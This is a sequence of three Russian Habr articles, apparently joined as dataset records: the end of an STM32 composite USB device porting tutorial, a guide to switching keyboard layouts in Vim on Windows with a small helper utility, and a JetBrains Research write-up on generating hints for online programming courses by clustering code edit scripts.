Пример использования RealTerm для отправки коротких команд на дебаг интерфейс.Для проверки USB HID устройства самое простое что нашлось это небольшая тулза hidapi (<https://github.com/libusb/hidapi.git>).
Пример использования HIDAPI Test Tool для диагностики USB HID интерфейса.В окне Input выводятся HID пакеты от контроллера которые генерируются в ф-ции `dev0_on_idle()` каждые 100мс.
dev0\_on\_idle()
```
#pragma pack(push, 1)
typedef struct {
uint8_t temperature;
uint8_t voltage;
} dev0_in_report_t;
#pragma pack(pop)
void dev0_on_idle (uint32_t now_tick)
{
dev0_t *dev0 = &g_dev0;
imon_t *imon = &g_imon;
if (now_tick - dev0->last_report_tick > 100 ){
dev0->last_report_tick = now_tick;
if (dev0->hid && imon->temp_degc != INT16_MAX) {
dev0->hid_in_report.temperature = (int8_t)imon->temp_degc;
dev0->hid_in_report.voltage =
(uint8_t)((imon->vref + 50) / 100) ;
HID_SendReport(
dev0->hid,
(uint8_t*)&dev0->hid_in_report,
sizeof(dev0->hid_in_report));
}
}
...
}
```
Значения 0х1А 0х21 – температура 26 градусов Цельсия, напряжение 3.3В.
В окне Output Data можно отправить данные на контроллер. В данном проекте Output HID report используется для управления светодиодами, просто в качестве примера.
Для написание своих программ общения с HID устройствами рекомендую библиотеку libusb. Отлично работает как на Windows, так и на OpenWrt. Заявлена еще поддержка macOS и Android, но лично не проверял.
Пример портирования на платформу STM32L072
------------------------------------------
В качестве примера портирования на другие серии STM рассмотрим портирование с использованной в проекте серии STM32G4 на STM32L072.
Создаем новый проект в два этапа:
* Создание автосгенерированного проекта для инициализации генератора тактовых частот, и их распределения, переферии, прерываний и т.п. Результат можно [посмотреть здесь](https://github.com/avasilje/CompositeUSB_L072K.git), ветка **Autogen**.
* Изменение модуля USB и main для поддержки составного устройства. <https://github.com/avasilje/CompositeUSB_L072K.git>, ветка **main**.
Создание автосгенерированного проекта1. Создаем сгенерированный проект визардом STM32CubeIDE со следующей конфигурацией (CompositeUSB-Autogen.ioc ветки Autogen).
1.1. Timer3
Используется как задающий таймер для АЦП, с периодом 4.5мс
1.2. ADC + DMA Channel 1
АЦП работает в цикличном режиме (mode = CIRC) по сигналу от таймера Т3.
Используются два внутренних канала – VrefInt, Temperature Sensor.
1.3. USB Custom HID device
Включем прерывание, конфигурируем пины на PA11, PA12. Параметры HID устройства особого значения не имеют т.к. код будет в последствии заменен.
1.4. USART1 + DMA Channel 2,3
1.5. 3xGPIO
1.6. Clocks – internal High Speed (USB crystal less configuration)
2. Добавляем код модуля «imon» (imon.c, imon.h)
Помимо файлов самого imon, ещё необходимо добавить файл stm32l0xx\_ll\_adc.h в директорию CompositeUSB\_L072K\Drivers\STM32L0xx\_HAL\_Driver\Inc.
Файл можно взять из SDK соответствующей архитектуры. Например [отсюда](https://github.com/STMicroelectronics/STM32CubeL0.git).
Файл необходим для описания некоторых констант АЦП (`TEMPSENSOR_CAL1_ADDR`, и т.п.)
3. Добавляем инициализацию и запуск переферии, глобальный масив для данных АЦП, а также инициализацию и обработчик модуля imon.
Пример изменений в main()
```
/* USER CODE BEGIN Includes */
#include "imon.h"
/* USER CODE END Includes */
/* USER CODE BEGIN PV */
int16_t g_adc_samples[ADC_CH_NUM]; /* DMA destination */
/* USER CODE END PV */
...
int main(void) {
...
/* USER CODE BEGIN Init */
__disable_irq();
/* USER CODE END Init */
/* USER CODE BEGIN 2 */
imon_init(g_adc_samples);
HAL_TIM_Base_Start_IT(&htim6);
HAL_ADC_Start_DMA(&hadc, (uint32_t*) &g_adc_samples[0], 2);
HAL_TIM_Base_Start_IT(&htim3);
__enable_irq();
/* USER CODE END 2 */
...
/* Infinite loop */
/* USER CODE BEGIN WHILE */
while (1)
{
uint32_t now_tick = HAL_GetTick();
imon_on_idle(now_tick);
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
}
/* USER CODE END 3 */
```
4. Добавляем калибровку АЦП в ф-цию void `MX_ADC_Init(void)`. Без калибровку датчик температуры будет показывать неправильные значения.
Пример калибровки АЦП
```
/* USER CODE BEGIN ADC_Init 2 */
LL_ADC_StartCalibration(ADC1);
while (LL_ADC_IsCalibrationOnGoing(ADC1)) {
__asm__ __volatile__ ("nop;nop;nop;nop;" ::);
};
/* USER CODE END ADC_Init 2 */
```
5. Компилируем и проверяем что таймер и АЦП работает как надо – температура +/- 2С, напряжение питания соответствует действительному, показания в милливольтах.
Изменение модуля USB и main1. Заменяем полностью директоорию USB\_DEVICE.
2. Заменяем Middlewares\ST\STM32\_USB\_Device\_Library.
3. Добавляем dev0.c/.h в Core.
4. Добавляем пути инклудов.
`../Middlewares/ST/STM32_USB_Device_Library/Class/Composite
../Middlewares/ST/STM32_USB_Device_Library/Class/CDC/Inc`
5. Меняем знаяения номера прерывания USB в функции `HAL_PCD_MspInit()` (usbd\_conf.c)
HAL\_PCD\_MspInit()
```
HAL_NVIC_SetPriority(USB_LP_IRQn, 0, 0);
HAL_NVIC_EnableIRQ(USB_LP_IRQn);
HAL_NVIC_SetPriority(USB_IRQn, 0, 0);
HAL_NVIC_EnableIRQ(USB_IRQn);
```
6. Меняем ...\_hal\_pcd.c/.h
hal\_pcd\_patch.diff
```
--- a/Drivers/STM32L0xx_HAL_Driver/Inc/stm32l0xx_hal_pcd.h
+++ b/Drivers/STM32L0xx_HAL_Driver/Inc/stm32l0xx_hal_pcd.h
@@ -119,6 +119,8 @@ typedef struct
This parameter can be set to ENABLE or DISABLE */
void *pData; /*!< Pointer to upper stack Handler */
+ uint32_t pma_map; /* USB memory allocation map */
+
#if (USE_HAL_PCD_REGISTER_CALLBACKS == 1U)
void (* SOFCallback)(struct __PCD_HandleTypeDef *hpcd); /*!< USB OTG PCD SOF callback */
void (* SetupStageCallback)(struct __PCD_HandleTypeDef *hpcd); /*!< USB OTG PCD Setup Stage callback */
@@ -220,6 +222,10 @@ typedef struct
*/
HAL_StatusTypeDef HAL_PCD_Init(PCD_HandleTypeDef *hpcd);
HAL_StatusTypeDef HAL_PCD_DeInit(PCD_HandleTypeDef *hpcd);
+
+uint32_t HAL_PCD_PMA_Alloc(PCD_HandleTypeDef *hpcd, uint32_t ep_mps);
+void HAL_PCD_PMA_Free(PCD_HandleTypeDef *hpcd, uint32_t ep_pmaadress, uint32_t ep_mps);
+
void HAL_PCD_MspInit(PCD_HandleTypeDef *hpcd);
void HAL_PCD_MspDeInit(PCD_HandleTypeDef *hpcd);
--- a/Drivers/STM32L0xx_HAL_Driver/Src/stm32l0xx_hal_pcd.c
+++ b/Drivers/STM32L0xx_HAL_Driver/Src/stm32l0xx_hal_pcd.c
@@ -54,8 +54,17 @@
*/
/* Includes ------------------------------------------------------------------*/
+#include
#include "stm32l0xx\_hal.h"
+#define PMA\_BLOCK\_SIZE\_EXP 5
+#define PMA\_BLOCK\_SIZE (1 << PMA\_BLOCK\_SIZE\_EXP)
+#define PMA\_BLOCKS\_NUM (1024 / PMA\_BLOCK\_SIZE)
+
+// Note: pma\_map - uses 32bit word for segment marking
+// #include "main.h"
+// CTASSERT(PMA\_BLOCKS\_NUM <= 32);
+
/\*\* @addtogroup STM32L0xx\_HAL\_Driver
\* @{
\*/
@@ -113,6 +122,51 @@ static uint16\_t HAL\_PCD\_EP\_DB\_Receive(PCD\_HandleTypeDef \*hpcd, PCD\_EPTypeDef \*ep
\* @{
\*/
+void HAL\_PCD\_PMA\_Free(PCD\_HandleTypeDef \*hpcd, uint32\_t ep\_pmaadress, uint32\_t ep\_mps)
+{
+ uint32\_t ep\_map;
+
+ int blocks\_num = (ep\_mps + PMA\_BLOCK\_SIZE - 1) >> PMA\_BLOCK\_SIZE\_EXP;
+
+ ep\_map = (blocks\_num == 32) ? UINT32\_MAX : (1 << blocks\_num) - 1;
+ ep\_map <<= ep\_pmaadress >> PMA\_BLOCK\_SIZE\_EXP;
+
+ /\* Sanity check. All blocks to be allocated
+ \* have to be marked as occupied
+ \*/
+ assert((ep\_map & hpcd->pma\_map) == ep\_map);
+
+ /\* Clear map \*/
+ hpcd->pma\_map &= ~ep\_map;
+}
+
+uint32\_t HAL\_PCD\_PMA\_Alloc(PCD\_HandleTypeDef \*hpcd, uint32\_t ep\_mps)
+{
+ int i, blocks\_num;
+ uint32\_t ep\_map = 0;
+ uint32\_t ep\_pmaaddress = UINT32\_MAX;
+
+ /\*
+ \* 1024Bytes split by 32bytes blocks => 32 blocks
+ \* pma\_map => 1 bit one block. 1 - occupied, 0 - free.
+ \* LSB = 0x0000
+ \*/
+ blocks\_num = (ep\_mps + PMA\_BLOCK\_SIZE - 1) >> PMA\_BLOCK\_SIZE\_EXP;
+ ep\_map = (blocks\_num == 32) ? UINT32\_MAX : (1 << blocks\_num) - 1;
+
+ for (i = 0; i <= PMA\_BLOCKS\_NUM - blocks\_num; i++) {
+ if ((ep\_map & hpcd->pma\_map) == 0) {
+ /\* Free slot were found - allocate them \*/
+ hpcd->pma\_map |= ep\_map;
+ ep\_pmaaddress = i \* PMA\_BLOCK\_SIZE;
+ break;
+ }
+ ep\_map = ep\_map << 1;
+ }
+
+ return ep\_pmaaddress;
+}
+
/\*\*
\* @brief Initializes the PCD according to the specified
\* parameters in the PCD\_InitTypeDef and initialize the associated handle.
@@ -1382,6 +1436,11 @@ HAL\_StatusTypeDef HAL\_PCD\_EP\_Open(PCD\_HandleTypeDef \*hpcd, uint8\_t ep\_addr,
ep->is\_in = 0U;
}
+ // Allocate PMA memory. No memory - no party
+ uint32\_t pma\_addr = HAL\_PCD\_PMA\_Alloc(hpcd, ep\_mps);
+ assert(pma\_addr != UINT32\_MAX);
+ HAL\_PCDEx\_PMAConfig(hpcd, ep\_addr, PCD\_SNG\_BUF, pma\_addr);
+
ep->num = ep\_addr & EP\_ADDR\_MSK;
ep->maxpacket = ep\_mps;
ep->type = ep\_type;
@@ -1426,9 +1485,19 @@ HAL\_StatusTypeDef HAL\_PCD\_EP\_Close(PCD\_HandleTypeDef \*hpcd, uint8\_t ep\_addr)
}
ep->num = ep\_addr & EP\_ADDR\_MSK;
+ if (ep->maxpacket == 0)
+ {
+ // EP not opened yet
+ return HAL\_OK;
+ }
+
\_\_HAL\_LOCK(hpcd);
(void)USB\_DeactivateEndpoint(hpcd->Instance, ep);
\_\_HAL\_UNLOCK(hpcd);
+
+ HAL\_PCD\_PMA\_Free(hpcd,ep->pmaadress,ep->maxpacket);
+ ep->maxpacket = 0;
+
return HAL\_OK;
}
```
* добавляем определение констант;
* добавляем ф-ции выделения/освобождения памяти под конечные точки USB `HAL_PCD_PMA_Free/Alloc();`
* добавляем использование этих функций в `HAL_PCD_EP_Open/Close()`;
* добавляем поле pma\_map в struct `PCD_HandleTypeDef`, а также декларацию ф-ций `HAL_PCD_PMA_Free/Alloc()` в .h файл
7. Меняем main.c/.h
main\_patch.diff
```
--- a/Core/Inc/main.h
+++ b/Core/Inc/main.h
@@ -27,6 +27,7 @@ extern "C" {
#endif
/* Includes ------------------------------------------------------------------*/
+#include "av-generic.h"
#include "stm32l0xx_hal.h"
/* Private includes ----------------------------------------------------------*/
--- a/Core/Src/main.c
+++ b/Core/Src/main.c
@@ -22,7 +22,12 @@
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
+//#include "stm32l0xx_ll_adc.h"
#include "imon.h"
+#include "cdc_uart.h"
+#include "cdc_ictrl.h"
+#include "dev0.h"
+
/* USER CODE END Includes */
/* Private typedef -----------------------------------------------------------*/
@@ -53,6 +58,10 @@ DMA_HandleTypeDef hdma_usart1_tx;
#define ADC_CH_NUM 2
int16_t g_adc_samples[ADC_CH_NUM]; /* DMA destination */
+
+extern cdc_ictrl_t g_cdc_ictrl;
+extern cdc_uart_t g_cdc_uart1;
+
/* USER CODE END PV */
/* Private function prototypes -----------------------------------------------*/
@@ -115,6 +124,10 @@ int main(void)
/* USER CODE BEGIN 2 */
imon_init(&g_adc_samples[1], &g_adc_samples[0]);
+ /* Link USB Device CDC interface with a corresponding Downface Interface (DFI) */
+ cdc_uart_init(&g_cdc_uart1, &g_cdc0, &huart1);
+ cdc_ictrl_init(&g_cdc1);
+
HAL_TIM_Base_Start_IT(&htim6);
HAL_ADC_Start_DMA(&hadc, (uint32_t*)&g_adc_samples[0], ADC_CH_NUM);
@@ -129,6 +142,14 @@ int main(void)
{
uint32_t now_tick = HAL_GetTick();
imon_on_idle(now_tick);
+ dev0_on_idle(now_tick);
+
+ g_cdc_uart1.dfi.on_idle(&g_cdc_uart1.dfi);
+ g_cdc_ictrl.dfi.on_idle(&g_cdc_ictrl.dfi);
+#if NAVIG
+ cdc_uart_dfi_on_idle();
+ cdc_ictrl_dfi_on_idle();
+#endif
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
```
* добавляем в инициализацию CDC устройств;
* добавляем в обработчики CDC и HID устройств в главный цикл;
* соль, перец по вкусу.
Компилируем, запускаемся, радуемся и машем руками.
### Заключение
Полностью разделяю слова написанные в статье которая легла в основу этого проекта [CDC+MSC USB Composite Device на STM32 HAL](https://habr.com/ru/post/335018/).
ST - библиотека монстр ещё тот и во многих местах написана достаточно неряшливо, особенно в части обработчиков прерывания, но! 1) она работает; 2) не забываем что это код на выходе автогенератора который должен подстраиваться под разные серии микроконтроллеров и возможные вариации реализации USB периферии. Поэтому к ST никаких претензий и спасибо за их труд. Кто писал автогенераторы, тот поймет.
Иногда, в запале, посещало настроение «помахать шашкой» в HAL части кода, так что в оригинальный код добавлены и другие косметические изменения не вошедшие в описание выше. Однако аппаратный уровень (PCD, файлы \_ll\_usb.c/.h ) остался практически без изменений, чтобы было легче переходить с одной серии контроллеров на другую.
Представленный код не является готовой к переиспользованию библиотекой, а скорее шаблон для адаптации к другим проектам. Т.е. это реально работающий проект с выпиленной из него спецификой основного рабочего функционала. Так что, набор напильников в комплекте.
Основная цель была сделать удобный шаблон для реализации множества USB устройств на одном чипе, например, несколько универсальных конвертеров, HID и т.п. | https://habr.com/ru/post/674662/ | null | ru | null |
# Vim в Windows и переключение раскладки клавиатуры
**UPD:** Это «историческая» версия топика. Новое решение проблемы смотреть [здесь](http://habrahabr.ru/post/175709/).
Проблема русской раскладки в Vim поднималась много раз. Одно из решений можно увидеть [здесь](http://habrahabr.ru/post/98393/), однако оно заставляет привыкать к новой горячей клавише для переключения раскладки. Также существует множество решений с вызовом системной утилиты для смены раскладки, но под Windows подобной утилиты не нашел, так что пришлось реализовать её самостоятельно.
По сути получился консольный интерфейс для WinAPI-функций. Для установки новой раскладки для окна программа получает имя класса данного окна и двухбуквенный код языка. Если есть такое окно и найден соответствующий языковой код, то программа посылает сообщение WM\_INPUTLANGCHANGEREQUEST данному окну.
Для создания связи программы с Vim'ом опирался на запись из блога [Тех-Детали](http://lin-techdet.blogspot.com/2012/04/vim.html). Чтобы переключение работало в Windows нужно в \_vimrc добавить следующие строки:
```
fun! xkb\_switch(mode)
let cur\_layout = system('dxlsw.exe -get VIM')
if a:mode == 0
if cur\_layout != 'en'
call system('dxlsw.exe -set VIM en')
endif
let b:xkb\_layout = cur\_layout
elseif a:mode == 1
if exists('b:xkb\_layout') && b:xkb\_layout != cur\_layout
call system('dxlsw.exe -set VIM '.b:xkb\_layout)
endif
endif
endfun
if executable('dxlsw.exe')
autocmd InsertEnter \* call xkb\_switch(1)
autocmd InsertLeave \* call xkb\_switch(0)
endif
```
Также не забудьте положить [dxlsw.exe](http://download.dexp.in/dxlsw.exe) (3.5 KB) куда-нибудь в *%PATH*, например, в *C:\Windows\System32*. Если кому-нибудь нужно, то есть и [64х-битная версия](http://download.dexp.in/dxlsw64.exe) (5 KB). [Исходный код](http://download.dexp.in/dxlsw.c) (6.8 KB) доступен под лицензией LGPL2.
Преимущества: работает, переключает раскладку только в окне Vim'a.
Недостатки: при вызове функции system из GVim на краткий промежуток времени открывается окно cmd.exe и окно GVim'a ненадолго теряет фокус.
**UPD:**
По совету хабраюзера [ivnik](http://habrahabr.ru/users/ivnik/) собрал DLL-версию переключателя языка. Окно cmd не появляется, тормозов нет.
\_vimrc изменился до:
```
fun! lib\_kb\_switch(mode)
let cur\_layout = libcallnr('libdxlsw', 'dxGetLayout', 0)
if a:mode == 0
if cur\_layout != 1033
call libcallnr('libdxlsw', 'dxSetLayout', 1033)
endif
let b:lib\_kb\_layout = cur\_layout
elseif a:mode == 1
if exists('b:lib\_kb\_layout') && b:lib\_kb\_layout != cur\_layout
call libcallnr('libdxlsw', 'dxSetLayout', b:lib\_kb\_layout)
endif
endif
endfun
autocmd InsertEnter \* call lib\_kb\_switch(1)
autocmd InsertLeave \* call lib\_kb\_switch(0)
```
DLL-файл класть в директорию с ЕХЕ-файлом Gvim'a. Если сборка Vim'a 64х-битная, то использовать соответствующую библиотеку.
* 32-bit DLL: [libdxlsw.dll](http://download.dexp.in/libdxlsw.dll), [зеркало](https://docs.google.com/open?id=0B9-Etri4sAb5Y2NWY3JqLTVHYTg) (3 KB)
* 64-bit DLL: [libdxlsw64.dll](http://download.dexp.in/libdxlsw64.dll), [зеркало](https://docs.google.com/open?id=0B9-Etri4sAb5N1hRUzZjLWQyQlE) (3.5 KB)
* Код: [libdxlsw.c](http://download.dexp.in/libdxlsw.c), [pastebin](http://pastebin.com/ScqTmaQn) (1.9 KB) | https://habr.com/ru/post/162483/ | null | ru | null |
# Автоматическая система подсказок для онлайн-курсов
Я работаю в [JetBrains Research](https://research.jetbrains.org/ru/) в группе, занимающейся применением методов машинного обучения в области программной инженерии. В данной статье я расскажу об одном из наших проектов — автоматической системе подсказок для онлайн-курсов по программированию.
Онлайн-курсы по программированию — популярный способ получения дополнительного образования. На таких курсах учащимся предлагается прочитать текст либо посмотреть видео с объяснением нового материала, а потом решить несколько практических задач. Автоматическая проверяющая система запускает каждое присланное решение на заранее подготовленном наборе тестов и сообщает учащемуся результаты тестирования. Такой вид обучения имеет ряд очевидных преимуществ перед традиционной системой образования: число учащихся неограниченно, они могут учиться в любое удобное время и в любом удобном месте. Однако имеются и недостатки. Например, слабая обратная связь. Преподаватели объясняют ученикам, в чем заключаются их ошибки и на что стоит обратить внимание, в то время как автоматическая проверяющая система может лишь проверить корректность решения. Разумеется, можно попросить помощи у создателей курса в комментариях, но зачастую ответ приходится ждать долго, особенно если таких просьб много. Эту проблему может решить автоматическая система выдачи подсказок.
К сожалению, классические подходы к поиску проблем в исходном коде (определение «запахов» кода, рекомендация рефакторингов, прогнозирование ошибок) здесь не эффективны, так как они разрабатывались для больших промышленных проектов, а решения практических задач обычно состоят всего из одного метода. Однако есть и специально спроектированные для нашей задачи решения. Обычно в них так или иначе анализируется разница между неправильным решением и правильным, а потом с помощью шаблонов генерируется подсказка вроде «в строке 26 замените int на long». Такие подсказки указывают, как нужно исправить решение, но не говорят, в чём состоит ошибка, и поэтому далеки от объяснений преподавателей. Таким образом, учащиеся лишаются мотивации к самостоятельному анализу ошибки. Преподаватели обычно говорят: «Обратите внимание на ограничение на размер входных данных, — или, — у вас переполнение int-а». В нашем исследовании мы ставили себе цель давать более высокоуровневые подсказки, которые помогают вам исправить решения, а не исправляют их за вас.
Для дальнейшего рассказа нам понадобится ввести несколько понятий.
**Абстрактное синтаксическое дерево (AST)** — это представление программного кода в виде дерева, содержащее полную информацию о семантике кода, но опускающее синтаксические подробности (форматирование, скобки, запятые). Каждая вершина в дереве имеет тип (*number\_literal, primitive\_type, for\_statement* и т.п.) и метку («1», «566» и т.д. для *number\_literal*; «int», «long», «double» и т.д. для *primitive\_type*; пустая строка для *for\_statement*).
**Сценарий редактирования** — это последовательность элементарных модификаций (добавление вершины, удаление вершины, перемещение вершины, изменение метки вершины), преобразующих одно абстрактное синтаксическое дерево в другое. Для построения AST и генерации сценариев редактирования мы использовали библиотеку GumTree.
Для примера рассмотрим два фрагмента кода:
```
for (int i = 0; i < 10; i++) {
int tmp = 0;
tmp++;
}
```
и
```
int tmp = 0;
for (int i = 0; i <= 10; i++) {
tmp++;
}
```
Для первого AST будет выглядеть так:
А для второго вот так:
Для удобства некоторые вершины подсвечены цветами. Тогда **сценарий редактирования**, превращающий первое дерево во второе, будет выглядеть условно вот так:
Итак, сравнивая неправильное решение с правильным, мы можем получить его исправление в формате сценария редактирования. Вопрос в том, как этому исправлению сопоставить подсказку. Если бы для всех исправлений уже присланных решений кто-нибудь написал подсказки, то задача свелась бы к классической задаче классификации. Но к сожалению, данные обычно не размечены. Для решения этой проблемы мы выделяем частые ошибки и размечаем хотя бы их. В перспективе на стадии разметки эксперты должны писать подсказки — связный текст, который призван помочь учащимся исправить решения. Полученная размеченная выборка исправлений использовалась для обучения классификатора. Теперь поговорим о каждом этапе подробнее.
**Шаг первый: подготовка данных.** Для начала отсеивались неправильные решения, для которых было невозможно построить AST. Далее из решений удалялись комментарии, стандартизировались имена переменных, приводились к одному виду изоморфные конструкции (удалялись лишние скобки в математических выражениях, проставлялись необязательные скобки в if-ах и for-ах, упорядочивались в алфавитном порядке типы в конструкции объединения типов в try-catch).
**Шаг второй: выделение исправлений.** Изначально планировалось на стадии кластеризации использовать изменения между последним неправильным решением и первым правильным для каждой сессии. Однако оказалось, что одну и ту же ошибку можно исправлять множеством способов. Чтобы стандартизировать способ исправления ошибки, было решено искать разницу не с правильным решением из той же сессии, а со всеми известными правильными решениями и использовать самый короткий из получившихся сценариев редактирования. На стадии классификации для нового неправильного решения сценарий редактирования искался так же.
**Шаг третий: выявление типичных ошибок.** База исправлений решений одной задачи кластеризовалась с помощью алгоритма иерархической агломеративной кластеризации. Этот алгоритм работает следующим образом: сначала каждый элемент помещается в свой кластер, затем на каждом шаге находится пара ближайших кластеров и объединяется в один. Этот процесс завершается, если расстояние между ближайшими кластерами слишком большое либо если осталось слишком мало кластеров. Какое-то количество самых больших из получившихся кластеров размечалось вручную. Пример диаграммы получающихся кластеров показан ниже.
**Шаг четвёртый: построение классификатора.** В данной работе использовался алгоритм k ближайших соседей со взвешенным голосованием. Для классификации нового элемента находится k ближайших к нему элементов из обучающей выборки, которые голосуют за класс, которому они принадлежат, причём чем ближе элемент к новому, тем больше весит его голос. При классификации стоит помнить, что возможные ошибки не ограничиваются теми, которые мы нашли на третьем шаге, поэтому важен не только результат классификации, но и степень уверенности в нём. Если уверенность ниже порогового значения, то считается, что определить ошибку и, соответственно, выдать подсказку не удалось.
Можно заметить, что использовавшиеся алгоритмы классификации и кластеризации требовали для работы задания функции расстояния между сценариями редактирования. Была проведена обширная работа для сравнения различных подходов. Далее кратко описаны рассматривавшиеся подходы.
Классической функцией расстояния между двумя множествами является коэффициент Жаккара. Для пары мультимножеств A и B значение коэффициента Жаккара можно вычислить по формуле: . В зависимости от определения равенства элементарных модификаций, можно получить несколько итоговых функций расстояния.
Для работы со сценариями редактирования и элементарными модификациями удобно их векторизовать. Векторизация элементарных модификаций в данной работе была сделана с помощью автокодировщика — подхода, позволяющего сжимать разреженные данные в вектор с минимальной потерей информации. В качестве автокодировщика использовалась нейронная сеть с одним скрытым слоем, при этом размеры входного и выходного слоя совпадали, а скрытый слой имел значительно меньший размер. Условная архитектура автокодировщика показана ниже.
Если сложить векторы для элементарных модификаций, то можно получить вектор, характеризующий сценарий редактирования в целом. В качестве функции расстояния между векторами использовалось косинусное расстояние.
Также можно определить нечёткий коэффициент Жаккара, опирающийся не на равенство элементов, а на степень их схожести. Схожесть элементарных модификаций можно определить эвристической формулой или с помощью косинусного расстояния и векторизации из предыдущего пункта.
Последний использовавшийся подход — bag-of-words или мешок слов. В рамках данного подхода сначала элементарные модификации кодируются в строки несколькими способами с учётом разной информации о контексте, затем составляется словарь таких строк, каждому элементу присваивается уникальный числовой идентификатор, а потом для мультимножества элементов в качестве векторного представления используется вектор, i-ая компонента которого равна количеству элементов i-ого типа. Расстояние между векторами опять косинусное.
Теперь перейдём к практической части. В данной работе использовался анонимизированный датасет решений на языке Java, предоставленный платформой [Stepik](http://stepik.org). Итак, мы получили некий возможный подход к решению, но ещё необходимо подобрать оптимальные параметры. Для этого были выбраны 4 задачи, отличающиеся тематикой и средним размером решения. Из каждой сессии решений по этим задачам была выбрана последняя неправильная попытка (при наличии) и первая правильная (при наличии). Получившаяся выборка была разделена на тестовую и обучающую. Тестовая выборка и часть обучающей были размечены вручную.
Сначала необходимо определить метрику качества решения. В нашей работе была выбрана метрика Area Under Precision-Recall Curve. Для её использования мы считаем значения Precision и Recall при разных значениях пороговой уверенности классификатора, а потом считаем площадь под получившейся кривой. Чем больше полученное значение, тем лучше классификация.
Получившиеся кривые Precision-Recall показаны ниже:
Для оценки качества комбинации параметров использовалась кросс-валидация. Размеченная часть обучающей выборки разбивалась на 10 частей, после чего 9 частей вместе с неразмеченной частью подвергались кластеризации. Полученные кластеры автоматически размечались на основе попавших в них размеченных элементов. Процесс повторялся 10 раз, результат тестирования усреднялся. Для получения независимой оценки лучшая конфигурация была протестирована на тестовых выборках 6 задач (в том числе двух, не участвовавших в подборе параметров).
| Задача | Кросс-валидация | Тестовая выборка |
| --- | --- | --- |
| A | 0.770 | 0.741 |
| B | 0.858 | 0.857 |
| C | 0.793 | 0.793 |
| D | 0.713 | 0.727 |
| E | - | 0.778 |
| F | - | 0.722 |
Цифры — это очень увлекательно, но давайте посмотрим, какие ошибки мы таким образом научились отлавливать. Для примера рассмотрим задачу E. В этой задаче требуется найти минимум и максимум в потоке. Подробнее с условиями можно ознакомиться [здесь](https://stepik.org/lesson/12781/step/12?unit=3128). Рассмотрим несколько кластеров.
#### Обращение к элементам пустых коллекций/массивов
В этот кластер попали решения, в которых учащиеся забыли обработать случай пустого потока и, соответственно, пустой коллекции. Сами решения довольно разнообразны, но исправления похожи: добавляется if, который проверяет размер коллекции/массива и передаёт в метод accept либо их элементы, либо null.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
Object[] array = stream.sorted(order).toArray();
minMaxConsumer.accept((T) array[0], (T) array[array.length - 1]);
}
```
#### Повторное использование Stream
Ожидается, что каждый экземпляр класса Stream будет использован только один раз. В этот кластер попали решения, в которых есть попытки повторного использования потока.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
if (stream.count() == 0) {
minMaxConsumer.accept(null, null);
} else {
T min = stream.min(order).get();
T max = stream.max(order).get();
minMaxConsumer.accept(min, max);
}
}
```
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
T min = stream.min(order).orElse(null);
T max = stream.max(order).orElse(null);
minMaxConsumer.accept(min, max);
}
```
Эти решения можно исправить, сохранив сначала все значения потока в коллекцию, а потом использовав её для создания нескольких новых потоков.
#### Сортировка без использования компаратора
Ещё одной частой проблемой является сортировка без использования переданного в качестве параметра компаратора.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
List list = stream.sorted()
.collect(Collectors.toList());
if (list.isEmpty()) {
minMaxConsumer.accept(null, null);
} else {
minMaxConsumer.accept(list.get(0),
list.get(list.size() - 1));
}
}
```
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
Object[] array = stream.sorted().toArray();
if (array.length > 0)
minMaxConsumer.accept((T) array[0],
(T) array[array.length - 1]);
else
minMaxConsumer.accept(null, null);
}
```
Такие решения исправляются передачей компаратора в соответствующее место.
#### Неаккуратное использование Optional
Если объект Optional ничего не хранил, то при попытке получить его содержимое возникнет исключение. Для исправления таких решений следует использовать метод getOrElse вместо get либо проверять наличие объекта перед извлечением.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
List list = stream.collect(Collectors.toList());
minMaxConsumer.accept(list.stream().min(order).get(),
list.stream().max(order).get());
}
```
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
final List> minMax= Arrays.asList(
Optional.empty(),
Optional.empty());
stream.peek(x -> {
if (minMax.get(0).isEmpty()) {
minMax.set(0, Optional.of(x));
minMax.set(1, Optional.of(x));
} else {
if (order.compare(x, minMax.get(0).get()) < 0) {
minMax.set(0, Optional.of(x));
}
if (order.compare(x, minMax.get(1).get()) > 0) {
minMax.set(1, Optional.of(x));
}
}
}).count();
minMaxConsumer.accept(minMax.get(0).get(), minMax.get(1).get());
}
```
#### Повторный вызов метода accept
В отличие от инструкции return, вызов метода accept не завершает выполнение метода. Такие решения исправляются добавлением инструкции return после вызова accept или переносом остального кода в блок else.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
List list = stream.sorted(order)
.collect(Collectors.toList());
if (list.isEmpty())
minMaxConsumer.accept(null, null);
minMaxConsumer.accept(list.get(0),
list.get(list.size() - 1));
}
```
#### Неправильный индекс последнего элемента
В списке из n элементов последний имеет индекс n-1.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
List list = stream.sorted(order)
.collect(Collectors.toList());
if (list.isEmpty()) {
minMaxConsumer.accept(null, null);
} else {
minMaxConsumer.accept(list.get(0), list.get(list.size()));
}
}
```
#### Использование null-значений с компаратором
Должен ли компаратор корректно обрабатывать null-значения — вопрос философский. Использовавшаяся реализация компаратора не ожидала получить значение null. В самом потоке нет null-ов, но если хранить где-то промежуточный результат, то начальным значением может быть null.
```
public static void findMinMax(
Stream extends T stream,
Comparator super T order,
BiConsumer super T, ? super T minMaxConsumer) {
Object[] minMaxHolder = new Object[]{null, null};
stream.forEach(val -> {
if (order.compare(val, (T) minMaxHolder[0]) < 0) {
m[0] = val;
}
if (order.compare(val, (T) minMaxHolder[1]) > 0) {
m[1] = val;
}
});
minMaxConsumer.accept((T) minMaxHolder[0], (T) minMaxHolder[1]);
}
```
